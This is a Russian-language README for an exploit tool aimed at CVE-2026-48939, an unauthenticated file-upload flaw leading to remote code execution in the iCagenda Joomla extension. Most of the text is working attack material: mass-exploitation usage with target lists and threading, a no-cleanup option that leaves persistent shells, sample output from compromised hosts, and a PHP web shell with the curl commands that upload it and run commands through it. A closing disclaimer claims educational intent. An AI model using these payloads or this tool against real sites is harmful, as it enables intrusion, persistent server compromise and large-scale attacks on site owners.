
Эксплойт для произвольной загрузки файлов без аутентификации, приводящий к удаленному выполнению кода (RCE), для расширения iCagenda Joomla версии ниже 4.0.8 (CVSS 10.0)
CVE-2026-48939 — это критическая уязвимость с рейтингом CVSS 10.0 в расширении календаря событий iCagenda для Joomla. Функция прикрепления файлов в форме регистрации на события на фронтенде применяет контроль доступа только на уровне представления, а не контроллера, что позволяет загружать файлы без аутентификации и без проверки расширений.
Загруженные файлы попадают непосредственно в корень веб-сервера по пути /images/icagenda/frontend/attachments/ и сразу же выполняются как PHP.
| Версия iCagenda | Статус |
|---|---|
| 3.2.1 – 3.9.14 | Уязвима |
| 4.0.0 – 4.0.7 | Уязвима |
| 3.9.15 / 4.0.8+ | Исправлена |
Контроллер registration.submit обрабатывает загрузку файлов без применения ограничения доступа «Только для зарегистрированных», настроенного в параметрах компонента. Файловые вложения записываются с их исходным расширением без какого-либо белого списка, проверки MIME-типа или содержимого.
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Одиночная цель
python cve_2026_48939.py -t target.com
# Массовый эксплойт
python cve_2026_48939.py -f targets.txt
# Постоянная оболочка (без очистки)
python cve_2026_48939.py -t target.com --no-cleanup
# Сохранение результатов
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Одиночная цель (домен или IP)
-f, --file Список целей, по одной на строку
-o, --output Сохранить результаты RCE в файл
--threads Количество одновременных рабочих потоков (по умолчанию: 25)
--no-cleanup Оставить оболочки на цели
-v, --verbose Показывать подробный вывод
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
Шаг 1 — Загрузка PHP-веб-шелла
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
Шаг 2 — Выполнение команд
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ.
Данное программное обеспечение предназначено для специалистов по безопасности, проводящих авторизованные пентесты, организаций, выполняющих аудит собственной инфраструктуры, и исследователей, изучающих эксплуатацию уязвимостей.
Несанкционированный доступ к компьютерным системам является незаконным и может нарушать:
- США: Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. 1030)
- Индонезия: UU ITE, статьи 30 и 46
- Европейский Союз: Директива 2013/40/EU
- Великобритания: Закон о неправомерном использовании компьютеров 1990 года
Авторы не несут ответственности за неправомерное использование.
| Ресурс | Ссылка |
|---|---|
| Консультация IONIX | ionix.io/threat-center/cve-2026-48939 |
| Запись в NVD | CVE-2026-48939 |
| Журнал изменений iCagenda | icagenda.com/docs |
Этот проект не связан с iCagenda или Joomlic.